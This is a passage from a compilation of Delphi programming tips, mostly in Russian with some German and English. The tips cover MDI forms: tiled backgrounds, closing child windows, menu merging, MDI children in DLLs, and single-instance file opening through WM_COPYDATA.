end;
end;
procedure TAutoHider.Init_Bar_Left;
begin
if (Delphi.FindComponent('TabDockHostForm') as TForm) <> nil then
DockHost := Delphi.FindComponent('TabDockHostForm') as TForm
else if (Delphi.FindComponent('JoinDockForm') as TForm) <> nil then
DockHost := Delphi.FindComponent('JoinDockForm') as TForm;
if DockHost <> nil then
begin
DockHost.Top := 0;
DockHost.Height := Screen.WorkAreaHeight;
OldDestroy := DockHost.OnDestroy;
DockHost.OnDestroy := MyDestroy;
Bar_Left := DockHost;
end
else
begin
Bar_Left := ObjInspector;
end;
end;
procedure TAutoHider.MyDockDrop(Sender: TObject; Source: TDragDockObject; X,
Y: Integer);
begin
if Assigned(OldDockDrop) then OldDockDrop(Sender, Source, X, Y);
Init_Bar_Left;
end;
initialization
AutoHider := TAutoHider.Create;
InitAutoHider(True);
finalization
InitAutoHider(False);
AutoHider.Delphi.OnMessage := nil;
AutoHider.Free;
end.
unit HideAboutProps;
// Declare a Property-Category-Class
// Eine Eigenschaftskategorie-Klasse deklarieren
type
TAboutPropCategory = class(TPropertyCategory)
// Give it a name and a description
// Namen und Beschreibung vergeben
class function Name: string; override;
class function Description: string; override;
end;
procedure Register;
implementation
// Register this new Property Category in the Delphi-IDE
// Diese neue Eigenschaftskategory in Delphi registrieren
procedure Register;
begin
RegisterPropertyInCathegory(TAboutPropCategory, 'About');
end;
// Implementation of the two class functions from above
// Den beiden Klasse-Funktionen noch eine Implementation geben
class function TAboutPropCategory.Name: string;
begin
Result := 'About';
end;
class function TAboutPropCategory.Description: string;
begin
// As you want it ...
Result := 'Gives information about the author.';
// Wie man's mochte ...
Result := 'Enthalt Informationen uber den Autor.';
end;
// To use this new category, you only have to include this unit in a package and recompile it.
// If you want, you now can hide all properties called 'About' from being displayed
// in the object inspector.
// Um diese neue Kategorie zu nutzen, muss man die Unit nur in ein Package einbinden
// und dieses danach neu compilieren.
// Wenn man mochte, kann man nun alle Eigenschaften, die 'About' hei?en, verbergen.
По всей видимости, дочерние MDI-окна не отвечают на те же сообщения Windows, которые обрабатываются другими окнами.
Ниже приведен способ выбора определенного дочернего MDI-окна таким образом, чтобы оно стало активным. Я читаю значение
из компонента TINIFile и активизирую определенное дочернее MDI-окно:
{
Делаем активным дочернее MDI-окно. Мы должны
послать сообщение Windows API, поскольку
дочернее MDI-окно может реагировать только
на "аварийный" набор системных сообщений.
}
i := ReadInteger( 'Main', 'ActiveMDIChild', -1 )
IF (i>=0) AND (iК заголовку
*******************************************************************************
*
* Hintergrundfarbe eines MDI-Formulars setzen ohne die Farbe der darauf
* liegenden Objekte wie TGroupBox oder TPageControl zu verandern.
*
* Setting the Background color of a MDI Form without changing the color
* of overlayed objects like TGroupBox or TPageControl.
*
******************************************************************************}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
BkBrush: HBRUSH;
procedure ClientWndProc(var Message: TMessage);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
implementation
{$R *.dfm}
constructor TForm1.Create(AOwner: TComponent);
begin
inherited;
BkBrush := CreateSolidBrush(clGray);
FClientInstance := Classes.MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, Longint(FClientInstance));
end;
destructor TForm1.Destroy;
begin
DeleteObject(BkBrush);
inherited;
end;
procedure TForm1.ClientWndProc(var Message: TMessage);
var
DC: HDC;
BrushOld: HBRUSH;
begin
with Message do
begin
case Msg of
WM_ERASEBKGND:
begin
DC := TWMEraseBkGnd(Message).DC;
BrushOld := SelectObject(DC, BkBrush);
FillRect(DC, ClientRect, BkBrush);
SelectObject(DC, BrushOld);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
end;
end;
end;
end.
unit Child;
// Have you noticed that when you try to close a MDIChild form
// the form minimizes but doesn't disappear from your Main form
// client area?
//
// With this tip you can learn how to really close the MDI child
// form and free the memory occupied by the form
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TMDIChildForm = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MDIChildForm: TMDIChildForm;
implementation
{$R *.DFM}
procedure TMDIChildForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
// This line of code frees memory and closes the form
Action := caFree;
end;
end.
procedure TForm.OnPaint(Sender: TObject);
procedure Tile(c: TCanvas; b: TBitMap);
var
x, y, h, w, i, j: integer;
begin
with b do
begin
h := b.height;
w := b.width;
end;
y := 0;
with c.Cliprect do
begin
i := bottom - top - 1; //высота
j := right - left - 1; //ширина
end;
while y < i do
begin
x := 0;
while x < j do
begin
c.draw(x, y, b);
inc(x, w);
end;
inc(y, h);
end;
end;
begin
if Sender is TForm then
Tile(TForm(Sender).Canvas, fTileWith);
end;
------------------------------
Несколько людей уже спрашивали, как залить фон главной MDI-формы повторяющимся изображением. Ключевым моментом здесь
является работа с дескриптором окна MDI-клиента (свойство ClientHandle) и заполнение изображением окно клиента в ответ
на сообщение WM_ERASEBKGND. Тем не менее здесь существует пара проблем: прокрутка главного окна и перемещение дочернего
MDI-окна за пределы экрана портят фон, и закрашивание за иконками дочерних окон не происходит.
Ну наконец-то! Похоже я нашел как решить обе проблемы. Вот код для тех, кому все это интересно. Я начинаю с проблемы
дочерних форм, ниже код для решения проблемы с главной формой (модули с именами MDIWAL2U.PAS и MDIWAL1U.PAS).
На главной форме расположен компонент TImage с именем Image1, содержащий изображение для заливки фона.
...
private
{ Private declarations }
procedure WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
message WM_ICONERASEBKGND;
...
USES MdiWal1u;
procedure TForm2.WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
begin
TForm1(Application.Mainform).PaintUnderIcon(Self, Message.DC);
Message.Result := 0;
end;
...
{ Private declarations }
bmW, bmH: Integer;
FClientInstance,
FPrevClientProc: TFarProc;
procedure ClientWndProc(var Message: TMessage);
public
procedure PaintUnderIcon(F: TForm; D: hDC);
...
procedure TForm1.PaintUnderIcon(F: TForm; D: hDC);
var
DestR, WndR: TRect;
Ro, Co,
xOfs, yOfs,
xNum, yNum: Integer;
begin
{вычисляем необходимое число изображений для заливки D}
GetClipBox(D, DestR);
with DestR do
begin
xNum := Succ((Right - Left) div bmW);
yNum := Succ((Bottom - Top) div bmW);
end;
{вычисление смещения изображения в D}
GetWindowRect(F.Handle, WndR);
with ScreenToClient(WndR.TopLeft) do
begin
xOfs := X mod bmW;
yOfs := Y mod bmH;
end;
for Ro := 0 to xNum do
for Co := 0 to yNum do
BitBlt(D, Co * bmW - xOfs, Ro * bmH - Yofs, bmW, bmH,
Image1.Picture.Bitmap.Canvas.Handle,
0, 0, SRCCOPY);
end;
procedure TForm1.ClientWndProc(var Message: TMessage);
var
Ro, Co: Word;
begin
with Message do
case Msg of
WM_ERASEBKGND:
begin
for Ro := 0 to ClientHeight div bmH do
for Co := 0 to ClientWIDTH div bmW do
BitBlt(TWMEraseBkGnd(Message).DC,
Co * bmW, Ro * bmH, bmW, bmH,
Image1.Picture.Bitmap.Canvas.Handle,
0, 0, SRCCOPY);
Result := 1;
end;
WM_VSCROLL,
WM_HSCROLL:
begin
Result := CallWindowProc(FPrevClientProc,
ClientHandle, Msg, wParam, lParam);
InvalidateRect(ClientHandle, nil, True);
end;
else
Result := CallWindowProc(FPrevClientProc,
ClientHandle, Msg, wParam, lParam);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
bmW := Image1.Picture.Width;
bmH := Image1.Picture.Height;
FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(
GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC,
LongInt(FClientInstance));
end;
-----------------------------------------------------
В разделе Заполнение изображением MDI-формы повторяющимся изображением. Я нашел (Copyright не мой а из книжки) более простой способ.
...
private
OutCanvas: TCanvas;
OldWinProc, NewWinProc: Pointer;
procedure NewWinProcedure(var Msg: TMessage);
...
procedure TMainForm.FormCreate(Sender: TObject);
begin
NewWinProc := MakeObjectInstance(NewWinProcedure);
OldWinProc := Pointer(SetWindowLong(ClientHandle,
gwl_WndProc, Cardinal(NewWinProc)));
OutCanvas := TCanvas.Create;
end;
procedure TMainForm.NewWinProcedure(var Msg: TMessage);
var
BmpWidth, BmpHeight: Integer;
I, J: Integer;
begin
// default processing first
Msg.Result := CallWindowProc(OldWinProc,
ClientHandle, Msg.Msg, Msg.wParam, Msg.lParam);
// handle background repaint
if Msg.Msg = wm_EraseBkgnd then
begin
BmpWidth := MainForm.Image1.Width;
BmpHeight := MainForm.Image1.Height;
if (BmpWidth <> 0) and (BmpHeight <> 0) then
begin
OutCanvas.Handle := Msg.wParam;
for I := 0 to MainForm.ClientWidth div BmpWidth do
for J := 0 to MainForm.ClientHeight div BmpHeight do
OutCanvas.Draw(I * BmpWidth, J * BmpHeight,
MainForm.Image1.Picture.Graphic);
end;
end;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
OutCanvas.Free;
end;
---------------------------------------
type
.... = class(TForm)
....
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
....
private
FHBrush: HBRUSH;
FCover: TBitmap;
FNewClientInstance: TFarProc;
FOldClientInstance: TFarProc;
procedure NewClientWndProc(var Message: TMessage);
....
protected
....
procedure CreateWnd; override;
....
end;
.....
implementation
{$R myRes.res} //pесуpс с битмапом фона
procedure.FormCreate(...);
var
LogBrush: TLogbrush;
begin
FCover := TBitmap.Create;
FCover.LoadFromResourceName(hinstance, 'BMPCOVER');
with LogBrush do
begin
lbStyle := BS_PATTERN;
lbHatch := FCover.Handle;
end;
FHBrush := CreateBrushIndirect(Logbrush);
end;
procedure.FormDestroy(...);
begin
DeleteObject(FHBrush);
FCover.Free;
end;
procedure.CreateWnd;
begin
inherited CreateWnd;
if (ClientHandle <> 0) then
begin
if NewStyleControls then
SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or
GetWindowLong(ClientHandle, GWL_EXSTYLE));
FNewClientInstance := MakeObjectInstance(NewClientWndProc);
FOldClientInstance := pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, longint(FNewClientInstance));
end;
end;
procedure.NewClientWndProc(var Message: TMessage);
procedure Default;
begin
with Message do
Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg,
wParam,
lParam);
end;
begin
with Message do
begin
case Msg of
WM_ERASEBKGND:
begin
FillRect(TWMEraseBkGnd(Message).DC, ClientRect, FHBrush);
Result := 1;
end;
else
Default;
end;
end;
end;
Каждую дочернюю форму заставить полностью заполнять область главной
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TMDIForm = class(TForm)
private
{ Private declarations }
FMainWindowClientCoordinates: TRect;
procedure SetMainWindowClientCoordinates(const Value: TRect);
procedure NewChild(Sender: TObject);
public
{ Public declarations }
// property used to read MainForm client coordinates
property MainWindowClientCoordinates: TRect
read FMainWindowClientCoordinates write SetMainWindowClientCoordinates;
end;
var
MDIForm: TMDIForm; // Main form, property "formStyle" has to be fsMdiForm
implementation
{$R *.DFM}
uses
Child; // Defines TMDIchild class, property "formStyle" has to be fsMdiChild
procedure TMDIForm.SetMainWindowClientCoordinates(const Value: TRect);
begin
FMainWindowClientCoordinates := Value;
end;
procedure TMDIForm.SetMainWindowCoordinates(const Value: TRect);
begin
FMainWindowCoordinates := Value;
end;
procedure TMDIForm.FormShow(Sender: TObject);
begin
// Reads MDIForm client coordinates
Windows.GetClientRect(ClientHandle, fMainWindowClientCoordinates);
end;
procedure TMDIForm.NewChild(Sender: TObject);
var
LocalMDIChildForm: TMDIChildForm;
begin
// You can execute this procedure each time you
// create a new child, for example you can call this
// procedure from a button
LocalMDIChildForm := TMDIChildForm.Create(Self);
with LocalMDIChildForm do
begin
Caption := 'Child Form: ' + IntToStr(MDIChildCount);
Top := MainWindowClientCoordinates.Top;
Left := MainWindowClientCoordinates.Left;
Width := MainWindowClientCoordinates.Right;
Height := MainWindowClientCoordinates.Bottom;
Show;
end; // with ...
end;
end.
procedure TMainForm.SetBands(AControls: array of TWinControl;
ABreaks: array of boolean);
var
i: integer;
begin
with CoolBar do
begin
for i:=0 to High(AControls) do
begin
if Bands.Count=succ(i) then
TCoolBand.Create(Bands);
with Bands[succ(i)] do
begin
if Assigned(Control) then
Control.Hide;
MinHeight:=AControls[i].Height;
Break:=ABreaks[i];
Control:=AControls[i];
Control.Show;
Visible:=true;
end
end;
for i:=High(AControls)+2 to pred(Bands.Count) do
Bands[i].Free
end
end;
и
procedure TMsgForm.FormActivate(Sender: TObject);
begin
MainForm.SetBands([ToolBar],[false])
end;
Пpимечание:
Оба массива pавны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я pазмешаю "глобальные" кнопки.
СoolBar[1] тоже можно сделать в DesignTime с Break:=false и пpидвинуть поближе с началу. Пpи CoolBar.AutoSize:=true
возможно "мигании" (пpи добавлении на новую стpоку) так что можно добавить:
AutoSize := false;
try
...
finally
AutoSize := true;
Ваpиант 2.
TMainForm
...
object SpeedBar: TPanel
...
Align = alTop
BevelOuter = bvNone
object ToolBar: TPanel
...
Align = alLeft
BevelOuter = bvNone
end
object RxSplitter1: TRxSplitter
...
ControlFirst = ToolBar
ControlSecond = ChildBar
Align = alLeft
BevelOuter = bvLowered
end
object ChildBar: TPanel
...
Align = alClient
BevelOuter = bvNone
end
end
TMdiChild {пpородитель всех остальных}
...
object pnToolBar: TPanel
...
Align = alTop
BevelOuter = bvNone
Visible = False
end
procedure TMDIForm.FormActivate(Sender: TObject);
begin
pnToolBar.Parent := MainForm.ChildBar;
pnToolBar.Visible := True;
end;
procedure TMDIForm.FormDeactivate(Sender: TObject);
begin
pnToolBar.Visible := false;
pnToolBar.Parent := self
end;
* Сначала установите свойство формы FormStyle в fsMDIForm.
* Затем разместите Image на форме и загрузите в него картинку.
* Найдите { Private Declarations } в обьявлении формы и добаьте следующие строки:
FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
procedure ClientWndProc(var message: TMessage);
* Добавьте следующие строки в разделе implementation:
procedure TMainForm.ClientWndProc(var message: TMessage);
var
Dc: hDC;
Row: Integer;
Col: Integer;
begin
with message do
case Msg of
WM_ERASEBKGND:
begin
Dc := TWMEraseBkGnd(message).Dc;
for Row := 0 to ClientHeight div Image1.Picture.Height do
for Col := 0 to ClientWidth div Image1.Picture.Width do
BitBlt(Dc, Col * Image1.Picture.Width, Row *
Image1.Picture.Height, Image1.Picture.Width,
Image1.Picture.Height, Image1.Picture.Bitmap.Canvas.Handle,
0, 0, SRCCOPY);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc,
ClientHandle, Msg, wParam, lParam);
end;
end;
* По созданию окна [событие OnCreate()] напишите такой код:
FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));
* Добавьте к проекту новую форму и установите ее свойство FormStyle в fsMDIChild
сли в дочерней форме MDI установить BorderStyle в bsNone, то заголовок формы не исчезнет. (Об этом сказано в хелпе).
А вот следующий пример решает эту проблему:
type
... = class(TForm)
{ other stuff above }
procedure CreateParams(var Params: TCreateParams); override;
{ other stuff below }
end;
...
procedure tMdiChildForm.CreateParams(var Params: tCreateParams);
begin
inherited CreateParams(Params);
Params.Style := Params.Style and (not WS_CAPTION);
end;
-----------------------------------
type
TForm2 = class(TForm)
{ другой код выше }
procedure CreateParams(var Params: TCreateParams); override;
{ другой код ниже }
end;
procedure TForm2.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := Params.Style and not WS_OVERLAPPEDWINDOW or WS_BORDER
end;
Так как MDI-приложения всегда объединяют меню дочерних окон с главным меню родительского окна, вы можете установить
определенное значение для указания позиции элементов меню в новой, объединенной строке меню. Это называется индексом
группы. Но работает оно только для видимых пунктов меню.
Так, например, если ваше MDI-меню имеет:
[Файл] [Вид] [О программе] (со значениями индексов групп 1 5 10) (Значения не имеют никакого значения (извините за
невольный каламбур), они используются только лишь для сортировки),
а меню дочерней MDI-формы имеет:
[Файл] [Редактирование] (и им присвоены значения 1 и 3),
то при открытии дочернего MDI-окна пункт меню [Файл] заменит соответствующий пункт меню родительской MDI-формы.
Пункт меню [Редактирование] будет расположен перед пунктами [Вид] и [О программе] родительской формы.
Это может оказаться весьма полезным, поскольку меню [Файл] MDI-формы в нормальной ситуации может содержать меньшее
количество пунктов меню по сравнению с ситуацией, когда имеется открытая дочерняя MDI-форма.
К примеру, в описанной выше ситуации в меню [Файл] MDI-формы необходимы только пункты [Сохранить] или [Закрыть], а
в случае отсутствия дочерних окон - [Открыть] и [Новое].
Все описанные выше пункты вы должны ввести в меню дочерней формы, поскольку оно заменит существующий пункт [Файл].
Вы все еще можете использовать код родительской формы в дочерней.
Так, если у вас имеется процедура "parent.open1click", вы можете вызывать ее из меню [Файл] дочернего окна после
его открытия.
Данную статью меня заставило написать огромное количество вопросов в Круглом Столе (а теперь еще и в Подводных Камнях)
насчет размещения дочерней формы в библиотеке DLL. Честно говоря, у меня никогда не возникало такой необходимости и я
обходился простым приложением. Но масса вопросов без ответа посадило меня за кнопки вечерком. Говорят, что те ответы,
которые, тем не менее, присутствуют, не работающие. И проверять мне их совсем не хотелось. Я решил начать решать
проблему с нуля.
Поначалу я решил досконально разобраться в работе TForm и TApplication дабы точно представлять себе, как эти оболочки
взаимодействуют с Windows, но потом понял, что ковыряться в сотнях строк исходников мне совсем неохота. Я просто
посмотрел и увидел, что кроме, собственно handl-ов эти компоненты оперируют со своими всяческими внутренними служебными
списками (обычно TList) и передачей хэндла тут не обойдешься. Для работы форм необходимы оба глобальных (для программы)
объекта: и TApplication и TScreen. Подг ружаемая DLL, если использует разного рода формы и контролы их тоже создает.
Но они другие! В смысле другие instances, которые и знать не знают о таких-же объектах в главном приложении. Но они
есть и убивать их тоже не хочется (мало-ли чего случится, если убить объект TApplication, даже в DLL). Поэтому решение
пришло следующее. Создаем в нашей DLL две служебные функции, функцию вызова нашей дочерней формы и две переменные
(пишу StdCall потому что всегда DLL-ки так оформляю, это удобно):
var
DLLApp: TApplication;
DLLScr: TScreen;
procedure InitPlugin(App, Scr: integer); StdCall;
begin
DLLScr := Screen;
Screen := TScreen(Scr);
DLLApp := Application;
Application := TApplication(App);
end;
procedure DonePlugin; StdCall;
begin
Screen := DLLScr;
Application := DLLApp;
end;
function CreateMDI: integer; StdCall;
begin
Result := integer(TfrmMyChildForm.Create(Application));
end;
exports
InitPlugin,
DonePlugin,
CreateMDI;
Итак, в начале программы я открываю библиотеку (LoadLibrary), пролучаю функции (GetProcAddress) и инициализируюплагин
(InitPlugin(integer(Application), integer(Screen))), передавая ему ссылки на объекты Application и Screen и они сохраняются
в переменных внутри DLL. По окончании работы я его деинициализирую (DonePlugin), восстанавливая для dll-ки его объекты
(для корректной деинициализации этих самых внутренних TApplication и TScreen), потом выгружаю библотеку (FreeLibrary).
Функция создания дочернего окн а возвращает объект формы (а по сути указатель) и с ним можно работать, либо используя
переменную - родителя (TForm например) или абстрактный класс с которого наследуется форма в DLL (MyForm := TForm(CreateMDI)).
Неприятности такого похода состоят в том, что разные инструменты разработки (и даже разные версии одной и той же среды)
могут быть (скорее всего, но я не проверял) несовместимы. Т.е. DLL с формой, изготовленной в одной версии Дельфи может
не работать с пр иложением, скомпилированным в другой. Ведь внутренние структуры объектов и таблицы методов могут не
совпадать. Но это не слишком дорого. Есть еще пробляма дублирования кода VCL. Но что делать! Или так или пакеты. Вообще
говоря в наше время гигабайтов и Wi n2K спорить о сотне килобайт просто скучно.
Для дех, у кого не вышло: я написал и скомпилировал тестовый пример (Delphi 2). Он работает. Все возможности MDI
сохраняются, вроде menu-merging, меню Window и Caption в главной форме. Тексты и скомпилированное приложение прилагаются.
Напоследок. Я не претендую на полное исследование темы. Возможно в других версиях Дельфи есть и другие необходимые
глобальные обьекты. Возможно, если формы будут использовать печать, то необходимо передать таким-же образом и объект
Printer, однако это сам и можете проверить. Стоит посмотреть, чем занимается delphimm.dll, ведь она устраивает общий
менеджер памяти, может и еще чего интересное делает. Удачи всем.
var
ProjectWindow: TWndProject;
begin
If ProjectActive=false then
begin
LockWindowUpdate(ClientHandle);
ProjectWindow:=TWndProject.Create(self);
ProjectWindow.Left:=10;
ProjectWindow.Top:=10;
ProjectWindow.Width:=373;
ProjecTwindow.Height:=222;
ProjectWindow.Show;
LockWindowUpdate(0);
end;
end;
Используйте LockWindowUpdate перед созданием окна и после того, как создание будет завершено.
При программировании MDI-приложений возникает следующая задача: Если пользователь кликнул на файле, тип которого поддерживается
создаваемым приложением, то, если приложение уже запущено, не нужно запускать новую копию приложения, а нужно открыть
выбранный файл в уже работающем приложении. Я сделал это так (возможно есть более красивое решение):
// В файле проекта:
var
i: integer;
hMainForm: hwnd;
copyDataStruct: TCopyDataStruct;
ParamString: string;
WParam, LParam: integer;
begin
// ищем главное окно приложения, вместо Caption - nil,
// поскольку к заголовку главного окна может добавиться заголовок MDIChild
// (нужно позаботиться об уникальности имени класса главной формы)
hMainForm := FindWindow('TMainForm', nil);
if hMainForm = 0 then
begin
Application.Initialize;
Application.CreateForm(TFrmMain, frmMain);
for i := 1 to ParamCount do
TMainForm(Application.MainForm).OpenFile(ParamStr(i));
Application.Run;
end
else
begin
ParamString := '';
for i := 1 to ParamCount do
begin
// запихиваем все параметры в одну строку с разделителями ?13
ParamString := ParamString + ParamStr(i) + #13;
end;
// создаем запись типа TCopyDataStruct
CopyDataStruct.lpData := PChar(ParamString);
CopyDataStruct.cbData := Length(ParamString);
CopyDataStruct.dwData := 0;
WParam := Application.Handle;
LParam := Integer(@CopyDataStruct);
// отсылаем сообщение WM_COPYDATA главному окну открытого приложения
SendMessage(hMainForm, WM_CopyData, WParam, LParam);
Application.Terminate;
end;
end.
// Обработчик сообщения WM_COPYDATA
procedure TMainForm.CopyData(var Msg: TWMCopyData);
var
ParamStr: string;
CopyDataStructure: TCopyDataStruct;
i: integer;
len: integer;
begin
CopyDataStructure := Msg.CopyDataStruct^;
ParamStr := '';
len := CopyDataStructure.cbData;
for i := 0 to len - 1 do
begin
ParamStr := ParamStr + (PChar(CopyDataStructure.lpData) + i)^;
end;
i := 0;
while not (Length(ParamStr) = 0) do
begin
if isDelimiter(#13, ParamStr, i) then
begin
OpenFile(Copy(ParamStr, 0, i - 1));
ParamStr := Copy(ParamStr, i + 1, Length(ParamStr) - i - 1);
end;
inc(i);
end;
inherited;
end;
// проверено, работает.
procedure TMainForm.FormCreate(Sender: TObject);
begin
{ здесь разместите код FormCreate }
Screen.OnActiveFormChange := UpdateObjectss;
{ и здесь тоже, если нужно... }
end;
procedure TMainForm.UpdateObjects(Sender: TObject);
begin
<имяобъекта>.Enabled := MDIChildCount > 0;
end;
(MDIChildCount > 0) возвращает true, если открыто _любое_ дочернее окно, и false в противном случае. Так, вы не должны
беспокоиться о количестве открытых дочерних окон.
Проблема, с котороя я столкнулся, заключается в том, что нижняя часть дочерней формы загораживает панель состояния
родительской формы...
У меня была аналогичная проблема -- она проявлялась при условии, когда свойство главной формы WindowState устанавливалось
на wsMinimized.
Вот мое решение: добавьте этот небольшой метод к вашей главной форме:
interface
procedure CMShowingChanged(var Message: TMessage);
message CM_SHOWINGCHANGED;
implementation
procedure TMainForm.CMShowingChanged(var Message: TMessage);
var
theRect: TRect;
begin
inherited;
theRect := GetClientRect;
AlignControls(nil, theRect);
end;
Это работает, поскольку вызов AlignControls (в TForm) делает две вещи:
1. выравнивает элементы управления (включая ваш проблемный StatusBar) и
2. вновь позиционирует окно клиента относительно главной формы (оно ссылается на ClientHandle) после того, как
элементы управления будут выравнены... что, впрочем, мы и хотели.
...да, я понял: необходим гарантированный показ или скрытие MDI-окна. Гарантированно скрыть можно вызовом
ShowWindow(theHandle, SW_HIDE), но в этом случае при показе *НЕ* используется ShowWindow. Вместо это сделайте так:
SetWindowPos(theHandle, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE OR
SWP_NOSIZE OR SWP_SHOWWINDOW);
Далее я обнаружил, что дочерние окна не скрывались/показывались, *ЕСЛИ* для осуществления этих функций использовались
оконные компоненты (например, кнопки). Для решения проблемы добавьте следующую строку после вызова SetWindowPos:
WinProcs.SetFocus(TheHandle);
*НЕ* используйте метод SetFocus; SetFocus здесь - Windows API функция.
Дополнение
По моему,все-таки, вызов ShowWindow(theHandle, SW_HIDE)проще, короче и, по крайней мере, в Delphi5 нормально работает с
оконными компонентами.
procedure TMainForm.Button1Click(Sender: TObject);
begin
//кнопка для показа/скрытия дочернего MDI-окна
If ShowWindow(form1MDI.Handle, SW_HIDE)=False then
ShowWindow(form1MDI.Handle, SW_SHOW);
end;
Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по
умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть.
Если вам просто нужно отобразить всплывающие подсказки от элементов управления вашей дочерней формы, то сделайте это
в вашей главной форме.
Объявите следующую процедуру в классе вашей главной формы:
private
{============================================================}
{ Процедура, вызываемая приложением всякий раз, когда }
{ приложение хотело бы показать всплывающую подсказку. }
{ Добавляет хинт на панель статуса. }
{============================================================}
procedure ShowHint(Sender : TObject);
затем в процедуре главной формы .create добавьте следующую строку:
{ Отображает хинт на статусной панели}
Application.OnHint := ShowHint;
Теперь приведем код функции ShowHint, принадлежащей главной форме:
{================================================================}
{ Обновляем pnlStatusText.Caption с текстом всплывающей подсказки}
{ элемента управления, над которым находится курсор мыши. }
{================================================================}
procedure
TMainFrame.ShowHint
(
Sender : TObject {Объект, вызывающий данную процедуру}
);
begin
pnlStatusText.Caption := Application.Hint;
end; { TMainFrame.ShowHint }
Это должно работать. Вам нужно будет только задать текст подсказок для элементов управления во всех окнах, включая
главное. Устанавливая свойство показа хинтов в false или true, вы тем самым указываете способ показа хинтов: обычным
способом в виде всплывающих окошек, или совместно с показом в строке состояния.
Не пытайтесь разрушить форму из самой себя. Присвоение параметру action значения caFree в обработчике события формы
OnClose заставит родительское окно самому уничтожить дочернюю форму.
Для предотвращения закрытия формы необходимо обрабатывать событие OnCloseQuery (к примеру, в момент редактирования
таблицы или для корректного сохранения вновь введенных значений на дочерней MDI-форме).
Родительское MDI-окно должно иметь пункт меню для возможности закрытия активного в текущий момент дочернего окна.
Вот примерный код, обрабатывающий нажатие данного пункта меню:
ActiveMDIChild.Close;
Попробуйте следующее:
procedure TFrmServers.FormClose(Sender: TObject; var
Action: TCloseAction);
begin
Action := caFree;
end;
procedure TFrmServers.FormDestroy
begin
Table1.Close;
end;
procedure TFrmServers.FormCloseQuery
begin
if table1.state in [dsEdit, dsInsert] then
begin
// предупреждаем пользователя о возможной потере редактируемых
// данных и при нажатии на ОК закрываем окно
if not UserSaysOk then
CanClose := False;
end;
end;
type
TMDIChildForm = class(TForm)
Edit1: TEdit;
private
{ Private declarations }
procedure ReadDataFromOtherMDIChildForm;
end;
var
MDIChildForm: TMDIChildForm;
implementation
{$R *.DFM}
uses
MainForm;
// Property FormStyle of this form is fsMDIForm
procedure TMDIChildForm.ReadDataFromOtherMDIChildForm;
var
i: Integer;
DataFromOtherForm: string;
begin
// Suppose you have created three different MDIChild forms of the same type,
// each with the following caption: "aaa", "bbb", "ccc".
// You are currently on form with caption "aaa" and want to read data
// contained on form with caption "ccc".
// You can find here the code, you have to use the "as" clause and
// properties MDIChildCount and MDIChildren:
// First you have to find where the form "ccc" is in memory;
for i := 0 to MDIForm.MDIChildCount - 1 do
begin
if (Pos('ccc', MDIForm.MDIChildren[i].Caption) 0) then
Break;
end;
// Check to see if the form is the last on MDIChildren array and
// correct I variable
if (i = MDIChildCount) then Dec(i);
// I variable contains the index of the form with caption 'ccc'
if (Pos('ccc', MDIForm.MDIChildren[i].Caption) 0) then
begin
// If the form with caption 'ccc' exists then you access data and show it
// The following line of code is very interesting, look at the "as" clause,
// if you have different types of MDIChild forms, you simply change
// the type of form after the "as" clause
// The data you want is contained on Edit1.Text
with (MDIForm.MDIChildren[I] as TMDIChildForm).Edit1 do
DataFromOtherForm := Text;
ShowMessage(DataFromOtherForm);
end;
end;
Что такое MDI?
MDI расшифровывается как multiple document interface (многодокументный интерфейс). В приложениях с MDI, в основном
(родительском) окне можно окрыть более одного дочернего окна. Данная возможность обычно используется в электронных
таблицах или текстовых редакторах.
Каждое MDI приложение имеет три основные составляющие:
* Одну (и только одну) родительскую форму MDI,
* Одну и более (обычно больше) дочерних форм MDI,
* и основное меню MDI.
MDI "мать"
Как уже упоминалось, в проекте MDI приложения может присутствовать только один MDI контейнер (родительская форма) и
он должен быть стартовой формой.
Для создания основного окна MDI приложения проделайте следующие шаги:
Запустите Delphi и выберите File | New Application... Delphi создаст новый проект с одной формой под названием form1
(по умолчанию). В свойстве Name присвойте форме имя frMain. Установите свойство FormStyle в fsMDIform. Сохраните этот
проект (имя проекта на Ваше усмотрение, например prMDIExample), вместе с uMain.pas в только что созданной директории.
Как Вы успели заметить, для создания основной формы MDI, мы установили свойство FormStyle в fsMDIform. В каждом
приложении только одна форма может иметь свойство fsMDIform.
MDI "дети"
Каждое родительское окно MDI нуждается по крайней мере в одной дочерней форме. Дочерние формы MDI - это простые формы,
